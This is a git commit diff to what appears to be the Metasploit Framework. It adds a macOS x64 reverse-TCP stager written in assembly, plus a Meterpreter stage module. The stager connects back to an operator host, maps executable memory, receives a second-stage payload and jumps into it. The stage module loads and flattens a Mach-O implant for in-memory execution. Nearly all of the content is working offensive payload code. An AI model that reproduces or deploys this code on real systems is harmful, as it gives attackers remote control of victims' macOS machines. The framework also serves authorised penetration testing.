osx stager
parent
5e71be7772
commit
44fbb171a6
|
@ -58,6 +58,7 @@ PATH
|
|||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby_smb
|
||||
rubyntlm
|
||||
rubyzip
|
||||
|
@ -321,6 +322,7 @@ GEM
|
|||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.0)
|
||||
ruby-macho (1.1.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
|
|
|
@ -118,6 +118,7 @@ Gem::Specification.new do |spec|
|
|||
#
|
||||
# Needed by auxiliary/gather/http_pdf_authors module
|
||||
spec.add_runtime_dependency 'pdf-reader'
|
||||
spec.add_runtime_dependency 'ruby-macho'
|
||||
|
||||
#
|
||||
# Protocol Libraries
|
||||
|
|
|
@ -21,35 +21,69 @@ module MetasploitModule
|
|||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 37, 'ADDR'],
|
||||
'LPORT' => [ 35, 'n']
|
||||
},
|
||||
'Payload' =>
|
||||
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
|
||||
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
|
||||
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
|
||||
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
|
||||
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
|
||||
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
|
||||
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
|
||||
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
|
||||
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
|
||||
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
|
||||
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
|
||||
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
|
||||
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, p)
|
||||
#
|
||||
# Our stager payload expects to see a next-stage length first.
|
||||
#
|
||||
conn.put([p.length].pack('V'))
|
||||
def generate(opts = {})
|
||||
encoded_port = "%.8x" % [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first
|
||||
encoded_host = "%.8x" % Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
|
||||
stager_asm = %(
|
||||
mov rcx, ~0x#{encoded_host}#{encoded_port}
|
||||
not rcx
|
||||
push rcx
|
||||
xor ebp, ebp
|
||||
bts ebp, 25
|
||||
|
||||
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
push rbp
|
||||
pop rax
|
||||
cdq ; rdx=IPPROTO_IP
|
||||
push 1
|
||||
pop rsi ; rsi=SOCK_STREAM
|
||||
push 2
|
||||
pop rdi ; rdi=AF_INET
|
||||
mov al, 97
|
||||
syscall
|
||||
|
||||
mov r13, rax
|
||||
xchg eax, edi ; edi=s
|
||||
xchg eax, esi ; esi=2
|
||||
|
||||
; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16);
|
||||
push rbp
|
||||
pop rax
|
||||
push rsp
|
||||
pop rsi
|
||||
mov dl, 16 ; rdx=sizeof(sa)
|
||||
mov al, 98 ; rax=sys_connect
|
||||
syscall
|
||||
|
||||
; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0)
|
||||
pop r11
|
||||
mov rsi, r11
|
||||
xor rdi, rdi
|
||||
mov rsi, 0x1000
|
||||
mov eax, 0x20000c5
|
||||
mov edx, 7
|
||||
mov r10, 0x1002
|
||||
xor r8, r8
|
||||
xor r9, r9
|
||||
syscall
|
||||
|
||||
; recvfrom(0x3, addr, 0x1000)
|
||||
mov rsi, rax
|
||||
push rsi
|
||||
mov rdi, r13
|
||||
xor rcx, rcx
|
||||
mov rdx, 0x1000
|
||||
xor r10, r10
|
||||
xor r8, r8
|
||||
mov eax, 0x200001d
|
||||
syscall
|
||||
pop rax
|
||||
call rax
|
||||
)
|
||||
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, stager_asm).encode_string
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,90 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/base/sessions/meterpreter_x64_osx'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'macho'
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'OSX Meterpreter',
|
||||
'Description' => 'Inject the mettle server payload (staged)',
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X64,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_OSX,
|
||||
'Convention' => 'sockedi',
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
midstager_asm = %(
|
||||
push rdi ; save sockfd
|
||||
xor rdi, rdi ; address
|
||||
mov rsi, #{payload.length} ; length
|
||||
mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS
|
||||
xor r8, r8 ; fd
|
||||
xor r9, r9 ; offset
|
||||
mov eax, 0x20000c5 ; mmap
|
||||
syscall
|
||||
|
||||
mov rdx, rsi ; length
|
||||
mov rsi, rax ; address
|
||||
pop rdi ; sockfd
|
||||
mov r10, 0x40 ; MSG_WAITALL
|
||||
xor r8, r8 ; srcaddr
|
||||
xor r9, r9 ; addrlen
|
||||
mov eax, 0x200001d ; recvfrom
|
||||
syscall
|
||||
|
||||
mov rax, #{@entry_offset}
|
||||
add rsi, rax
|
||||
jmp rsi
|
||||
)
|
||||
|
||||
midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
|
||||
print_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
|
||||
conn.put(midstager) == midstager.length
|
||||
end
|
||||
|
||||
def generate_stage(opts = {})
|
||||
data = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
|
||||
generate_config(opts.merge({scheme: 'tcp'}))).to_binary :exec
|
||||
|
||||
#data = File.binread("/Users/user/dev/git/darwin-stager/main_osx")
|
||||
#data = File.binread("/Users/user/dev/git/ios/shellcc/shellcode/shelltest64")
|
||||
#data = File.binread("/usr/bin/yes")
|
||||
macho = MachO::MachOFile.new_from_bin(data)
|
||||
main_func = macho[:LC_MAIN].first
|
||||
@entry_offset = main_func.entryoff
|
||||
|
||||
output_data = ''
|
||||
for segment in macho.segments
|
||||
for section in segment.sections
|
||||
file_section = segment.fileoff + section.offset
|
||||
vm_addr = section.addr - 0x100000000
|
||||
section_data = data[file_section, section.size]
|
||||
if output_data.size < vm_addr
|
||||
output_data += "\x00" * (vm_addr - output_data.size)
|
||||
end
|
||||
if section_data
|
||||
output_data[vm_addr, output_data.size] = section_data
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
output_data += "\x00" * (0x1000 - (output_data.size % 0x1000))
|
||||
output_data
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue